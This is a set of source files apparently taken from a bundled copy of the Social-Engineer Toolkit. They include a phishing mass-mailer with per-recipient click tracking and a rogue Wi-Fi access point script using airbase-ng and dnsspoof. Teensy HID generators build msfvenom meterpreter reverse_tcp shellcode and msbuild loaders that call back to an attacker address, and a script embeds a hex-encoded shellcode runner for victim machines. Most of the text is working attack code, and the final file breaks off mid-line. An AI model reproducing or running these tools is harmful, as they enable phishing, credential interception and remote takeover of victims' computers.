yesno.lower() == "y" or yesno.lower() == "yes": inline_file = raw_input( "Enter the path to the inline file you want to attach: ") if os.path.isfile(inline_file): inline_files.append( inline_file ) else: break subject = input(setprompt(["1"], "Email subject")) try: html_flag = input( setprompt(["1"], "Send the message as html or plain? 'h' or 'p' [p]")) # if we are specifying plain or defaulting to plain if html_flag == "" or html_flag == "p": message_flag = "plain" # if we are specifying html if html_flag == "h": message_flag = "html" # start the body off blank body = "" # Here we start to check if we want to track users when they click # essentially if this flag is turned on, a quick search and replace # occurs via base64 encoding on the user name. that is then added # during the def mail function call and the username is posted as # part of the URL. When we check the users, they can be coorelated # back to the individual user when they click the link. # track email is pulled dynamically from the config as # TRACK_EMAIL_ADDRESSES if track_email.lower() == "on": print( "You have specified to track user email accounts when they are sent. In") print( "order for this to work, you will need to specify the URL within the body") print( "of the email and where you would like to inject the base64 encoded name.") print( "\nWhen a user clicks on the link, the URL Will post back to SET and track") print( "each of the users clicks and who the user was. As an example, say my SET") print( "website is hosted at http://www.trustedsec.com/index.php and I want to track users.") print("I would type below " + bcolors.BOLD + "http://www.trustedsec.com/index.php?INSERTUSERHERE" + bcolors.ENDC + ". Note that in") print( "order for SET to work, you will need to specify index.php?INSERTUSERHERE. That is the") print( "keyword that SET uses in order to replace the base name with the URL.") print("\nInsert the FULL url and the " + bcolors.BOLD + "INSERTUSERHERE" + bcolors.ENDC + "on where you want to insert the base64 name.\n\nNOTE: You must have a index.php and a ? mark seperating the user. YOU MUST USE PHP!") print( "\nNote that the actual URL does NOT need to contain index.php but has to be named that for the php code in Apache to work.") print_warning( "IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.") body = input(setprompt( ["1"], "Enter the body of the message, type END (capitals) when finished")) # loop through until they are finished with the body of the subject # line while body != 'exit': try: body += ("\n") body_1 = input("Next line of the body: ") if body_1 == "END": break else: body = body + body_1 # except KeyboardInterrupts (control-c) and pass through. except KeyboardInterrupt: break # if we are tracking emails, this is some cleanup and detection to see # if they entered .html instead or didn't specify insertuserhere if track_email.lower() == "on": # here we replace url with .php if they made a mistake body = body.replace(".html", ".php") if not "?INSERTUSERHERE" in body: print_error( "You have track email to on however did not specify ?INSERTUSERHERE.") print_error( "Tracking of users will not work and is disabled. Please re-read the instructions.") pause = input( "Press {" + bcolors.BOLD + "return" + bcolors.ENDC + "} to continue.") # except KeyboardInterrupts (control-c) and pass through. except KeyboardInterrupt: pass def mail(to, subject, prioflag1, prioflag2, text): msg = MIMEMultipart() msg['From'] = str( Header(from_displayname, 'UTF-8').encode() + ' <' + from_address + '> ') msg['To'] = to msg['X-Priority'] = prioflag1 msg['X-MSMail-Priority'] = prioflag2 msg['Subject'] = Header(subject, 'UTF-8').encode() body_type = MIMEText(text, "%s" % (message_flag), 'UTF-8') msg.attach(body_type) # now attach the file if file_format != "": fileMsg = email.mime.base.MIMEBase('application', '') fileMsg.set_payload(file(file_format).read()) email.encoders.encode_base64(fileMsg) fileMsg.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file_format) ) msg.attach(fileMsg) for inline_file in inline_files: if inline_file != "": fileMsg = email.mime.base.MIMEBase('application', '') fileMsg.set_payload(file(inline_file).read()) email.encoders.encode_base64(fileMsg) fileMsg.add_header( 'Content-Disposition', 'inline; filename="%s"' % os.path.basename(inline_file) ) fileMsg.add_header( "Content-ID", "<%s>" % os.path.basename(inline_file) ) msg.attach(fileMsg) mailServer = smtplib.SMTP(smtp, port) io = StringIO() msggen = Generator(io, False) msggen.flatten(msg) if sendmail == 0: if email_provider == "gmail" or email_provider == "yahoo" or email_provider == "hotmail": try: mailServer.starttls() except: pass mailServer.ehlo() else: mailServer.ehlo() try: if provideruser != "" or pwd != "": mailServer.login(provideruser, pwd) mailServer.sendmail(from_address, to, io.getvalue()) else: mailServer.sendmail(from_address, to, io.getvalue()) except: # try logging in with base64 encoding here import base64 try: #py2 compatability mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser)) mailServer.docmd(base64.b64encode(pwd), "") except: try: #py3 compatability mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser.encode('utf-8'))) mailServer.docmd(base64.b64encode(pwd.encode('utf-8')), "") # except exceptions and print incorrect password except Exception as e: print_warning("It appears your password was incorrect.\nPrinting response: " + (str(e))) return_continue() if sendmail == 1: mailServer.sendmail(from_address, to, io.getvalue()) # if we specified a single address if option1 == '1': # re-assign body to temporary variable to not overwrite original body body_new = body # if we specify to track users, this will replace the INSERTUSERHERE with # the "TO" field. if track_email.lower() == "on": body_new = body_new.replace("INSERTUSERHERE", base64.b64encode(to)) # call the function to send email try: mail(to, subject, prioflag1, prioflag2, body_new) except socket.error: print_error( "Unable to establish a connection with the SMTP server. Try again.") sys.exit() except KeyboardInterrupt: print_error("Control-C detected, exiting out of SET.") sys.exit() # except Exception as err: # print_error("Something went wrong.. Printing error: " + str(err)) # sys.exit() # if we specified the mass mailer for multiple users if option1 == '2': email_num = 0 fileopen = open(filepath, "r").readlines() for line in fileopen: to = line.rstrip() # re-assign body to temporary variable to not overwrite original body body_new = body # if we specify to track users, this will replace the INSERTUSERHERE # with the "TO" field. if track_email.lower() == "on": body_new = body_new.replace("INSERTUSERHERE", base64.b64encode(to)) # send the actual email time_delay = check_config("TIME_DELAY_EMAIL=").lower() time.sleep(int(time_delay)) mail(to, subject, prioflag1, prioflag2, body_new) email_num = email_num + 1 # simply print the statement print_status("Sent e-mail number: " + (str(email_num)) + " to address: " + to) if option1 != "0": # finish up here print_status("SET has finished sending the emails") return_continue()
16,555
Python
.py
392
33.216837
152
0.602446
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,786
custom_template.py
CHEGEBB_africana-framework/externals/set/src/phishing/smtp/client/custom_template.py
#!/usr/bin/env python3 import random from src.core import setcore as core try: print ("\n [****] Custom Template Generator [****]\n") print ("\n Always looking for new templates! In the set/src/templates directory send an email\nto [email protected] if you got a good template!") author = input(core.setprompt("0", "Name of the author")) filename = randomgen = random.randrange(1, 99999999999999999999) filename = str(filename) + (".template") subject = input(core.setprompt("0", "Email Subject")) try: body = input(core.setprompt( "0", "Message Body, hit return for a new line. Control+c when you are finished")) while body != 'sdfsdfihdsfsodhdsofh': try: body += (r"\n") body += input("Next line of the body: ") except KeyboardInterrupt: break except KeyboardInterrupt: pass filewrite = open("src/templates/%s" % (filename), "w") filewrite.write("# Author: " + author + "\n#\n#\n#\n") filewrite.write('SUBJECT=' + '"' + subject + '"\n\n') filewrite.write('BODY=' + '"' + body + '"\n') print("\n") filewrite.close() except Exception as e: print(" An error occured, printing error message: " + str(e))
1,286
Python
.py
29
37.517241
153
0.609076
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,787
wifiattack.py
CHEGEBB_africana-framework/externals/set/src/wireless/wifiattack.py
#!/usr/bin/env python3 # coding=utf-8 ############################################## # # This is a basic setup for an access point # attack vector in set. # ############################################## import sys import os import subprocess import pexpect import time import src.core.setcore as core from src.core.menu import text sys.path.append("/etc/setoolkit") from set_config import AIRBASE_NG_PATH as airbase_path from set_config import ACCESS_POINT_SSID as access_point from set_config import AP_CHANNEL as ap_channel from set_config import DNSSPOOF_PATH as dnsspoof_path sys.path.append(core.definepath) try: input = raw_input except NameError: pass if not os.path.isfile("/etc/init.d/isc-dhcp-server"): core.print_warning("isc-dhcp-server does not appear to be installed.") core.print_warning("apt-get install isc-dhcp-server to install it. Things may fail now.") if not os.path.isfile(dnsspoof_path): if os.path.isfile("/usr/sbin/dnsspoof"): dnsspoof_path = "/usr/sbin/dnsspoof" else: core.print_warning("DNSSpoof was not found. Please install or correct path in set_config. Exiting....") core.exit_set() if not os.path.isfile(airbase_path): airbase_path = "src/wireless/airbase-ng" core.print_info("using SET's local airbase-ng binary") core.print_info("For this attack to work properly, we must edit the isc-dhcp-server file to include our wireless interface.") core.print_info("""This will allow isc-dhcp-server to properly assign IPs. (INTERFACES="at0")""") print("") core.print_status("SET will now launch nano to edit the file.") core.print_status("Press ^X to exit nano and don't forget to save the updated file!") core.print_warning("If you receive an empty file in nano, please check the path of your isc-dhcp-server file!") core.return_continue() subprocess.Popen("nano /etc/dhcp/dhcpd.conf", shell=True).wait() # DHCP SERVER CONFIG HERE dhcp_config1 = (""" ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option domain-name-servers 8.8.8.8; option routers 10.0.0.1; option broadcast-address 10.0.0.255; default-lease-time 600; max-lease-time 7200; } """) dhcp_config2 = (""" ddns-update-style none; authoritative; log-facility local7; subnet 192.168.10.0 netmask 255.255.255.0 { range 192.168.10.100 192.168.10.254; option domain-name-servers 8.8.8.8; option routers 192.168.10.1; option broadcast-address 192.168.10.255; default-lease-time 600; max-lease-time 7200; } """) dhcptun = None show_fakeap_dhcp_menu = core.create_menu(text.fakeap_dhcp_text, text.fakeap_dhcp_menu) fakeap_dhcp_menu_choice = input(core.setprompt(["8"], "")) if fakeap_dhcp_menu_choice != "": fakeap_dhcp_menu_choice = core.check_length(fakeap_dhcp_menu_choice, 2) # convert it to a string fakeap_dhcp_menu_choice = str(fakeap_dhcp_menu_choice) else: fakeap_dhcp_menu_choice = "1" if fakeap_dhcp_menu_choice == "1": # writes the dhcp server out core.print_status("Writing the dhcp configuration file to ~/.set") with open(os.path.join(core.userconfigpath, "dhcp.conf"), "w") as filewrite: filewrite.write(dhcp_config1) dhcptun = 1 if fakeap_dhcp_menu_choice == "2": # writes the dhcp server out core.print_status("Writing the dhcp configuration file to ~/.set") with open(os.path.join(core.userconfigpath, "dhcp.conf"), "w") as filewrite: filewrite.write(dhcp_config2) dhcptun = 2 if fakeap_dhcp_menu_choice == "exit": core.exit_set() interface = input(core.setprompt(["8"], "Enter the wireless network interface (ex. wlan0)")) # place wifi interface into monitor mode core.print_status("Placing card in monitor mode via airmon-ng..") # if we have it already installed then don't use the SET one if os.path.isfile("/usr/local/sbin/airmon-ng"): airmonng_path = "/usr/local/sbin/airmon-ng" else: airmonng_path = "src/wireless/airmon-ng" monproc = subprocess.Popen("{0} start {1} |" "grep \"monitor mode enabled on\" |" "cut -d\" \" -f5 |" "sed -e \'s/)$//\'".format(airmonng_path, interface), shell=True, stdout=subprocess.PIPE) moniface = monproc.stdout.read() monproc.wait() # execute modprobe tun subprocess.Popen("modprobe tun", shell=True).wait() # create a fake access point core.print_status("Spawning airbase-ng in a separate child thread...") child = pexpect.spawn('{0} -P -C 20 -e "{1}" -c {2} {3}'.format(airbase_path, access_point, ap_channel, moniface)) core.print_info("Sleeping 15 seconds waiting for airbase-ng to complete...") time.sleep(15) # bring the interface up if dhcptun == 1: core.print_status("Bringing up the access point interface...") subprocess.Popen("ifconfig at0 up", shell=True).wait() subprocess.Popen("ifconfig at0 10.0.0.1 netmask 255.255.255.0", shell=True).wait() subprocess.Popen("ifconfig at0 mtu 1400", shell=True).wait() subprocess.Popen("route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1", shell=True).wait() if dhcptun == 2: core.print_status("Bringing up the access point interface...") subprocess.Popen("ifconfig at0 up", shell=True).wait() subprocess.Popen("ifconfig at0 192.168.10.1 netmask 255.255.255.0", shell=True).wait() subprocess.Popen("ifconfig at0 mtu 1400", shell=True).wait() subprocess.Popen("route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1", shell=True).wait() # starts a dhcp server core.print_status("Starting the DHCP server on a separate child thread...") child2 = pexpect.spawn("service isc-dhcp-server start") # starts ip_forwarding core.print_status("Starting IP Forwarding...") child3 = pexpect.spawn("echo 1 > /proc/sys/net/ipv4/ip_forward") # start dnsspoof core.print_status("Starting DNSSpoof in a separate child thread...") child4 = pexpect.spawn("{0} -i at0".format(dnsspoof_path)) core.print_status("SET has finished creating the attack. If you experienced issues please report them.") core.print_status("Now launch SET attack vectors within the menus and have a victim connect via wireless.") core.print_status("Be sure to come back to this menu to stop the services once your finished.") core.return_continue()
6,339
Python
.py
141
41.503546
125
0.709819
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,788
stop_wifiattack.py
CHEGEBB_africana-framework/externals/set/src/wireless/stop_wifiattack.py
#!/usr/bin/env python3 # coding=utf-8 import subprocess import src.core.setcore as core # # Simple python script to kill things created by the SET wifi attack vector # try: input = raw_input except NameError: pass interface = input(core.setprompt(["8"], "Enter your wireless interface (ex: wlan0): ")) # fix a bug if present core.print_status("Attempting to set rfkill to unblock all if RTL is in use. Ignore errors on this.") subprocess.Popen("rmmod rtl8187;" "rfkill block all;" "rfkill unblock all;" "modprobe rtl8187;" "rfkill unblock all;" "ifconfig {0} up".format(interface), shell=True).wait() core.print_status("Killing airbase-ng...") subprocess.Popen("killall airbase-ng", shell=True).wait() core.print_status("Killing dhcpd3 and dhclient3...") subprocess.Popen("killall dhcpd3", shell=True).wait() subprocess.Popen("killall dhclient3", shell=True).wait() core.print_status("Killing dnsspoof...") subprocess.Popen("killall dnsspoof", shell=True).wait() core.print_status("Turning off IP_forwarding...") subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True).wait() core.print_status("Killing monitor mode on mon0...") subprocess.Popen("src/wireless/airmon-ng stop mon0", shell=True).wait() core.print_status("Turning off monitor mode on wlan0...") subprocess.Popen("src/wireless/airmon-ng stop wlan0", shell=True).wait() core.print_status("SET has stopped the wireless access point. ") core.return_continue()
1,549
Python
.py
34
41.205882
101
0.713906
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,789
teensy_gen.py
CHEGEBB_africana-framework/externals/set/src/teensy/teensy_gen.py
from __future__ import print_function # teensy_gen Functions def check_input(orig_value, user_value): if ( user_value == '' ): print('Keeping orginal value') return (orig_value) else: print('Value changed from - '+orig_value+' to '+user_value) return (user_value) def ino_print_gen(text_to_include): # Define ino_print_gen function taking the text to be formatted for the ino file. return(' Keyboard.println(\"'+text_to_include+'\");') # Return the formatted text for the ino file. def cmd_at_run_gen(cmd_for_run, env_varib, file_to_run): # Define cmd_at_run_gen function taking the text to be formatted into the CommandAtRunBar command for the ino file. return(' CommandAtRunBar(\"'+cmd_for_run+' '+env_varib+'\\'+file_to_run+'\");') # Return the formatted text for the ino file.
913
Python
.py
13
65.307692
191
0.627648
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,790
ino_gen.py
CHEGEBB_africana-framework/externals/set/src/teensy/ino_gen.py
#!/usr/bin/python3 from __future__ import print_function import os,subprocess,sys import teensy_gen try: input = raw_input except NameError: pass # Python script to automate the generation of ino files for the Teensy HID attack executing shellcode using msbuild.exe # This appears to be functional with my limited testing so if you know a better way please feel free to improve. # The code below takes the files listed containing embedded labels and formats their contents to form the ino file. # Commands and shellcode are injected at the appropriate places indicated by the labels. # Mike Judge April 2017 # Declare required variables for shellcode generation meta_path = '/usr/share/metasploit-framework/' # File path to metasploit - std SET msf_path = meta_path(). lhost_ipaddr = '192.168.50.5' # Local host LHOST ip address. --Make user selectable-- shell_arch = 'x86' # Shellcode architecture. --Make user selectable-- shell_plat = 'Windows' # Shellcode platform. --Make user selectable-- payload = 'windows/meterpreter/reverse_tcp' # Metasploit payload to be generated. --Make user selectable-- encap = 'x86/shikata_ga_nai' # Shellcode encpsulation. --Make user selectable-- shell_format = 'csharp' # Shellcode output formatting. # Declare required variables for formatting shellcode for ino file start_pos = 35 # Value for the next char in the string for line 2 to start. end_pos = 0 # Set end_pos to 0. width = 75 # Value for the width of the shellcode for each line. # Variables for teensy_gen.cmd_at_run_gen enviro_var = '%USERPROFILE%' # Environmental variable where the xml file will be located to be run by msbuild.exe --Make user selectable-- xml_output_filename = 'ShellcodeRunner.xml' # Name of the xml file containing the csharp build commands to be run by msbuild.exe --Make user selectable-- build_path = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe' # Path to msbuild.exe - needs to have \ escaped with \\ to prevent issues. --Make user selectable-- # Variables for external files ino_output_filename = '/usr/share/setoolkit/src/teensy/ino_file_gen.ino' # Filename of the final ino file containing the generated arduino code and xml build config for msbuild. ino_header_filename = '/usr/share/setoolkit/src/teensy/ino_header.txt' # File containg the header arduino code to be incorporated into the ino file before the xml build config. ino_tail_filename = '/usr/share/setoolkit/src/teensy/ino_tail.txt' # File containg the header arduino code to be incorporated into the ino file after the xml build config. xml_input_filename = '/usr/share/setoolkit/src/teensy/ino_build_file.xml' # File containing the xml build structure to be incorporated into the ino file. # User selection - default values print('\n-----default settings for shellcode generation-----\n') print('LHOST - '+lhost_ipaddr) print('Shell Architecture - '+shell_arch) print('Shell platform - '+shell_plat) print('Payload - '+payload) print('Encapsulation - '+encap) print('\n-----default settings for C# XML file-----\n') print('User variable for file location - '+enviro_var) print('XML Output filename - '+xml_output_filename) print('Location of msbuild.exe - '+build_path+'\n') # User selection - Choices change_settings = input("\nWould you like to change the default settings (y/n)") if change_settings in ('y', 'Y'): lhost_ipaddr = teensy_gen.check_input(lhost_ipaddr, input("\nPlease enter the new LHOST ip address - ")) shell_arch = teensy_gen.check_input(shell_arch, input("Please enter the new shellcode architecture (choices) - ")) shell_plat = teensy_gen.check_input(shell_plat, input("Please enter the new shellcode platform (choices) - ")) payload = teensy_gen.check_input(payload, input("Please enter the new shellcode payload - ")) encap = teensy_gen.check_input(encap, input("Please enter the new shellcode encpsulation - ")) enviro_var = teensy_gen.check_input(enviro_var, input("Please enter the new environmental variable for the file location - ")) xml_output_filename = teensy_gen.check_input(xml_output_filename, input("Please enter the new filename for the XML output file - ")) build_path = teensy_gen.check_input(build_path, input("Please enter the new location of msbuild.exe - ")) else: print('\n-----Using default settings-----\n') # Main code with open(ino_output_filename,'wb') as ino_output_file: # Open the ino output file as a write to receive the formatted text. if os.path.isfile(ino_header_filename): with open(ino_header_filename,'rb') as ino_header_file: # Open the ino header file as readonly. print('-----Formatting ino header file-----') # Progress notification to the user. for ino_header_line in ino_header_file: # Read each line from the file. ino_header_line = ino_header_line.rstrip() # Strip the formatting on the rhs of each line. if ( ino_header_line == '-----create-----'): # Check for the presence of the create label. ino_output_file.writelines( teensy_gen.cmd_at_run_gen('cmd /c echo 0 >',enviro_var,xml_output_filename) + '\n' ) # Insert create command into the location defined by the label. else: if ( ino_header_line == '-----notepad-----'): # Check for the presence of the notepad label. ino_output_file.writelines( teensy_gen.cmd_at_run_gen('notepad',enviro_var,xml_output_filename) + '\n' ) # Insert notepad command into the location defined by the label. else: ino_output_file.writelines( ino_header_line + '\n' ) # Write the ino header line to the ino file. ino_header_file.close() # Close the ino header file. else: sys.exit('-----Exiting file - '+ino_header_filename+' does not exist-----') ino_output_file.writelines( '\n' ) # Create new line in the ino_output_file. if os.path.isfile(xml_input_filename): with open(xml_input_filename,'rb') as xml_include_file: # Open the XML file. print('-----Formatting XML file for ino file-----') # Progress notification to the user. for input_line in xml_include_file: # Read each line from the file. input_line = input_line.rstrip() # Strip the formatting on the rhs of each line. input_line = input_line.replace("\\", "\\\\") # Escape the \ in each line using \\. input_line = input_line.replace("\"", "\\\"") # Escape the " in each line using \". if ( input_line == '-----shellcode-----'): # Check for the presence of the shellcode label. # generate the shellcode using msfvenom print('-----Generating shellcode-----') # Progress notification to the user. proc = subprocess.Popen("%smsfvenom -a %s --platform %s -p %s LHOST=%s -e %s -f %s -v shellcode" % (meta_path,shell_arch,shell_plat,payload,lhost_ipaddr,encap,shell_format), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read in the generated shellcode using stdout payload_shellcode = proc.stdout.read() # assign the output of stdout to the variable payload_shellcode. length = len(payload_shellcode) # assign the string length of the generated shellcode to the var length. payload_shellcode = payload_shellcode.strip() # Strip formatting from the payload. print('-----Formatting shellcode for ino file-----') # Progress notification to the user. ino_output_file.writelines( teensy_gen.ino_print_gen(payload_shellcode[0:34] ) + '\n' ) # format first line as shorter than rest. while (start_pos <= length): # format the remaning lines of shellcode. end_pos = start_pos + width # Set the position of end_pos. if (end_pos >= (length - 3)): # Check if end position is greater than the length of the shellcode. end_pos = length # set the end position for the last line. ino_output_file.writelines( teensy_gen.ino_print_gen(payload_shellcode[start_pos:end_pos] ) + '\n' ) # Print formatted shellcode section between start_pos and end_pos. start_pos = end_pos + 1 # move the start_pos to the next position from the end of the previous. else: # If not the shellcode label. ino_output_file.writelines( teensy_gen.ino_print_gen(input_line) + '\n' ) # Format the line and inject into the ino file. xml_include_file.close() # Close the XML file. else: sys.exit('-----Exiting file - '+xml_input_filename+' does not exist-----') if os.path.isfile(ino_tail_filename): with open(ino_tail_filename,'rb') as ino_tail_file: # Open the ino tail file. print('-----Formatting ino tail file-----') # Progress notification to the user. for ino_tail_line in ino_tail_file: # Read each line from the file. ino_tail_line = ino_tail_line.rstrip() # Strip the formatting on the rhs of each line. if ( ino_tail_line == '-----build-----'): # Check for the presence of the build label. ino_output_file.writelines( teensy_gen.cmd_at_run_gen(build_path,enviro_var,xml_output_filename) + '\n') # Insert the build command into the location defined by the label. else: ino_output_file.writelines( ino_tail_line + '\n' ) # Write the ino tail line to the ino file. ino_tail_file.close() # Close the ino tail file. print('-----Finished creating ino file ino_file_gen.ino-----') # Progress notification to the user. user_return = input("Please press any key") else: sys.exit('-----Exiting file - '+ino_tail_filename+' does not exist-----') ino_output_file.close() # Close the ino file.
11,865
Python
.py
119
90.94958
276
0.56692
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,791
binary2teensy.py
CHEGEBB_africana-framework/externals/set/src/teensy/binary2teensy.py
#!/usr/bin/python3 from __future__ import print_function import binascii,base64,sys,os,random,string,subprocess,socket from src.core.setcore import * from src.core.dictionaries import * from src.core.menu.text import * try: input = raw_input except NameError: pass ################################################################################################ # # BSIDES LV EXE to Teensy Creator # # by Josh Kelley (@winfang98) # Dave Kennedy (@hackingdave) # ################################################################################################ ################################################################################################ ################################################################################################ # # metasploit_path here # msf_path = meta_path() + "msfconsole" if msf_path == "msfconsole": msf_path = "/usr/bin/msfconsole" ################################################################ # # shell exec payload hex format below packed via upx # # shellcodeexec was converted to hex via binascii.hexlify: # # import binascii # fileopen = file("shellcodeexec.exe", "wb") # data = fileopen.read() # data = binascii.hexlify(data) # filewrite = file("hex.txt", "w") # filewrite.write(data) # filewrite.close() # ################################################################ # shell_exec = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad632ba8e90245fbe90245fbe90245fbcec43efbeb0245fbcec42bfbe80245fbcec438fbe80245fbcec428fbfd0245fb2a0d18fbea0245fbe90244fbc20245fbcec434fbe80245fbcec43dfbe80245fb52696368e90245fb0000000000000000504500004c010300b1aca94d0000000000000000e00003010b010800001000000010000000500000a0680000006000000070000000004000001000000002000004000000000000000400000000000000008000000010000000000000030000000000100000100000000010000010000000000000100000000000000000000000b0710000d800000000700000b00100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000306a00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000500000001000000000000000040000000000000000000000000000800000e055505831000000000010000000600000000c000000040000000000000000000000000000400000e02e7273726300000000100000007000000004000000100000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303400555058210d0902095049aa36ebb85e29604400009a0800000016000026010060d9eefeff837c2404027d1468d8204000ff15a405596aff08a0ffbffdbf8b442408ff7004e8010000281400ebe9558bec518b45088d5001f7dbffff8a084084c975f956572bc26a408bf0680010238d4601506a4376b3fd5d043a56ff75088bf8570ca883c40c52dd777bf78d45fc1d57688b10106a0027081a50b5eddf6c06005f33c05ec9c36a0885210cfbdbbbdf6f06688365fc006affd0eb071b40c38b65e8c740edffb56dfe98ff0d1fadc204003b0d00302dedc77efb7502f3c3e91103726855153b051ba1603309be5f77f7c704242c1eff355c0ca30a681c0420763ff67b181915989b1485c0a3280f7d081ff276d77f3e0476598810687833db89bd155afb5dfc64a118df8f0b0be4bf74bffdaedb505356db303f3bc374193bc6ec33f6468975ed76dddbe4eb38e803005a341aebda14a1702df6ecce2d200a6a1f5ceb3b1274fbeceef7752c89350968c82b68c0206f6059591a6de70e767417ecb8ff76dd02802b20df87b934a34d1b68bc34b45bebbecb5ac7051a022e39a28e53bccddd759e381d391d8016a26806e16bff3d1cee5e0a536a02532013a1146cafb0fb8b0d882b89012c0d0520bba1dd8c18e8ddfd85bfa330304cc283f1e1247037501e45ec8be4b6c3f6fe09894de050515adb59a716e06b062bc42d382f07908b8399ed17c275060d94e1a1dfda47782ad1c366813dbd0c4d5a7404b7dfee0be4eb51a13c0c81b81250450575eb3bb7e3f70fb7881812f90b90741b07ee75d4d976ffee83b884150e76cb33c93988f80aeb1112747bffee19b8e80a0f95c18bc16a01a38f7ec71f1f6654e350ec59a378206e74bfef7c33194cd60d680b897a1548617b47c60d64a1440c276c47beb9ef062d04070d833d1451840c681117fb6ddffb3f5851cde419106b750968daf06def7c16d3c33310ce011078bb3b6e4981ec282aa340315e0d3c057c7e8557b105250535303d2c72e458db668c57060d4c1d286f8e1c39052425202d1c9c8f0550f3d856308156440704a3481bedef257a08a3540f85e0fc8d2990aebd82739984fb1c290dd8b6d46d1338050953c0093c1d63bb9fca005d8985d832a1040adc15dc6633cc1ca388104fc6fa78facfa459cb208ed042241db6f09e553d20170823684beea4ed5b1b28f22c06eeff31a4adc3259c887a986b2cfcfba173868b356c48d659894546f8f461732d420c4b336843eb61aecd5e8fa307b6591f2e2827d668836c0a78e0ed8f03dbb67deee450352ab012dc0ae4545036da1322e875e009d51ce1211811fa88d41231bc713663dc8b66aad0ff74245d7afb0f00047cf7d81bc0035948c3f9b868357debd7b0bf043bc7fb730f8b065302c9f3fd6faa83c6043bf772f15f5e237070a37d6c03ccff8c534c60f98cbfa36339f503218b413c03c18138f0c78d5b63f0bd187818ed0f94bdb61b98352f0094048b4825c8ffdf5a970e41148605710633d285f6578d44081876ffffb6c01e8bcd141d0c3bf972098b580803d93bfb720c833cb0b5ffc20183c0283bd672e660775b66b85fdfd381ba6252ff7c1c3d6b6c010376d55010ac8d07e1f61f2b8b4024c1e81ff7bce0012deb206cbb994efd10a33d053fc0a2878694c0a5e3847651d8dedc258005bb68c5160664abb0d9fec05d5c10896c038d2be068dfc6304f6f313e33c5508947b0106c5ba2f861fc4dc2f82bb5edbdd1f064a337644d09300a037b78f7595fce8be55d51a510038587d7c168ba656850c6bceac335688518920e2413db3bd7b780965616c8d7dd0d56a1e0e07b0010c20c97856e2176939d83ec109020f80358f8050a2450bf4ee640bbccbb1616b819de620d85f70910a31e3ab69f18eb60569df8d63cce75b26db6d6c0ba0b0c33f00710029d8b0c14c527183c0b345a3bf4330c110c1fbe2bfddbbb4f59eb0b85f30a8bc6c1e0100bf0fe7be1e96fe3f7ce35605e5f5b2dac491919191b5c05606470559919197478002fa06454c91057cb5e16e98a120bc8ffffffabe052756e3a0a097368656c6c636f646565786563203c6156e8fdff6c7068616e756d657269632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# ######################################### # # shell exec payload hex format above # ######################################### # print main stuff for the application print(""" ******************************************************************** BSIDES Las Vegas ---- EXE to Teensy Creator ******************************************************************** Written by: Josh Kelley (@winfang98) and Dave Kennedy (ReL1K, @HackingDave) This program will take shellexeccode which is converted to hexadecimal and place it onto a victim machine through hex to binary conversion via powershell. After the conversion takes place, Alphanumeric shellcode will then be injected straight into memory and the stager created and shot back to you. """) # if we dont detect metasploit if not os.path.isfile(msf_path): sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n") # if we hit here we are good since msfvenom is installed ################################################### # USER INPUT: SHOW PAYLOAD MENU 2 # ################################################### show_payload_menu2 = create_menu(payload_menu_2_text, payload_menu_2) payload=(input(setprompt(["14"], ""))) if payload == "exit" : exit_set() # if its default then select meterpreter if payload == "" : payload="2" # assign the right payload payload=ms_payload(payload) # if we're downloading and executing a file url = "" if payload == "windows/download_exec": url = input(setprompt(["6"], "The URL with the payload to download and execute")) url = "set URL " + url # # grab the interface ip address # ipaddr = grab_ipaddress() # try except for Keyboard Interrupts try: # grab port number while 1: port = input(setprompt(["6"], "Port to listen on [443]")) # assign port if enter is specified if port == "": port = 443 try: # try to grab integer port port = int(port) # if we aren't using a valid port if port >= 65535: # trigger exception port = "dfds" port = int(port) break # if we bomb out then loop through again except: print_error("[!] Not a valid port number, try again.") # pass through pass # except keyboardintterupts here except KeyboardInterrupt: print(""" .-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-. |.. |-| |\| |.. `-. | |- |( |\/| | | | )|- `-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-' disabled.\n""") sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n") print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...") # grab msfvenom alphanumeric shellcode to be inserted into shellexec proc = subprocess.Popen("%smsfvenom -p %s EXITFUNC=thread LHOST=%s 